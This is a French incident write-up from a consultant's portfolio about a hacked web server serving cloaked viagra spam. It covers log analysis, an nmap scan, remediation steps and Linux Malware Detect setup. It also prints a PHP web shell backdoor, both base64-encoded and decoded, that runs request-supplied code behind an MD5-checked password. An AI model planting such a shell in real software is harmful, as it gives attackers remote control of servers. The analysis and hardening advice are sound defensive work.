Showcase


Pascal MIETLICKI

Audit de sécurité

Audit de sécurité d'un serveur Web

http://www.ac-noumea.nc
Le site Web apparaissait dans les meilleurs résultats avec le mot clef "viagra", on m'a demandé d'effectuer une analyse à ce sujet. En réalité, le site Web avait été piraté mais de façon assez astucieuse : les informations sur le viagra n'étaient présentées qu'aux moteurs de recherche.
Ce projet présente donc mes tâches principales pour déceler et corriger le problème. Ma préconisation finale a été de repenser l'architecture des serveurs afin d'améliorer, drastiquement, la sécurité et mettre des outils de détection automatique de scripts malicieux via Linux Malware Detect.

Procédure de recherche

  • Analyse des logs (/var/log)
  • Identification d'un accès sur une backdoor (compat.php)
  • Analyse du code de cette backdoor
    • Accès authentifié par mot de passe
    • Code de la backdoor mis dans fonction gzinflate(base64_decode(*)) dans le fichier compat.php
    • Analyse de la backdoor (décodage grâce à http://www.decoder-online.com)
    • Mot de passe MD5 : ff6cb56b876eedf90b5bca2c0a210f91
  • Analyse nmap de l'extérieur :
 Not shown: 999 open|filtered ports, 997 filtered ports
 PORT     STATE  SERVICE    VERSION
 21/tcp   open   ftp        ProFTPD 1.3.2
 80/tcp   open   http       Apache httpd 2.2.8 ((Unix) PHP/5.2.5)
 |_http-favicon: Unknown favicon MD5: 3AD8FECBDE088AF038C26EE5A5F40D5B
 | http-methods: GET HEAD POST OPTIONS TRACE
 | Potentially risky methods: TRACE
 |_See http://nmap.org/nsedoc/scripts/http-methods.html
 |_http-title: Site doesn't have a title (text/html).
 8080/tcp closed http-proxy
 4672/udp closed rfa

La "porte dérobée" ou backdoor

Donne un accès total sur le serveur avec la liste des exploits connus, les accès systèmes ainsi que la liste des fonctions désactivées sous PHP

Dans /var/www :

grep -R * -e 'gzipinflate(base64'

Cette commande a renvoyé 6 fichiers présents sur le serveur contenant une copie de la backdoor.

Côté système

Vieille version du système d'exploitation, aucune mise à jour récente

Version d'apache obsolète 2.0.52 (24 mai 2006)

Pour aller plus loin

Utilisez un outil de détection de RootKits tel que chkrootkit

Lancement de Web Shell Detector ( https://github.com/emposha/PHP-Shell-Detector)

    • Plusieurs codes malicieux découverts
    • Type de code encodé en base 64 :
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydjaCddKSAmJiAobWQ1KCRfUkVRVUVTVFsnY2gnXSkgPT0gJzc0MjUzYjUxNjIzNmI1ZmZiZTM1NzFlM2I5MTNiMzZhJykgJiYgaXNzZXQoJF9SRVFVRVNUWydwaHBfY29kZSddKSkgeyBldmFsKCRfUkVRVUVTVFsncGhwX2NvZGUnXSk7IGV4aXQoKTsgfQ=='));

Ce qui donne :

 if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) == '74253b516236b5ffbe3571e3b913b36a') && isset($_REQUEST['php_code'])) { eval($_REQUEST['php_code']); exit(); }

Informations intéressantes à ce sujet :

http://aw-snap.info/articles/backdoor-examples.php

Plan d'actions d'urgence préconisé

  • Bloquer l'accès au serveur (via FTP, etc) et n'accorder que le port 80 ou 443
  • Bloquer les accès depuis IP suspicieuses
  • Faire un grep (sur base64_decode et gzip_inflate) sur tout le serveur et supprimer les scripts dangereux
  • Réinstaller un serveur
    • avec un apache récent (et mis à jour automatiquement)
    • avec kernel récent
    • Si vraiment nécessaire : accès ftps (ou sftp) chrooté avec politique et modification des mots de passe
    • avec sauvegarde automatique du DocumentRoot sur un svn (permet de voir les diffs en cas de soucis)
  • Supprimer les commandes systèmes jugées "dangereuses" via yum remove ou rm pour make (à cause de dépendances) :
    • gcc, make, nc
  • Désactiver les fonctions PHP "dangereuses" comme "eval" dans php.ini :
    • disable_functions=exec,eval,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Mise en place d'une nouvelle architecture sécurisée

  • Installation d'un reverse proxy Apache ou Nginx (au choix) en DMZ
  • Installation serveur final avec mod_security et/ou mod_evasive
  • Accès FTP en mode reverse proxy via Pydio (anciennement ajaxplorer)

Installation de Linux Malware Detect

 chmod +x install.php
 ./install.php
 #MAJ signatures
 maldet -u
 #MAJ programme
 maldet -p
 #Detection dans /var/www
 maldet -a /var/www/
 #Analyse du rapport
 maldet --report
 #Nettoyage fichiers du rapport 100713-1111.16205
 maldet --clean 100713-1111.16205

Planification automatique des rapports maldet et envoi par email en cas de détection de Rootkit ou Web Shell

Completed in FR on Oct 14, 2014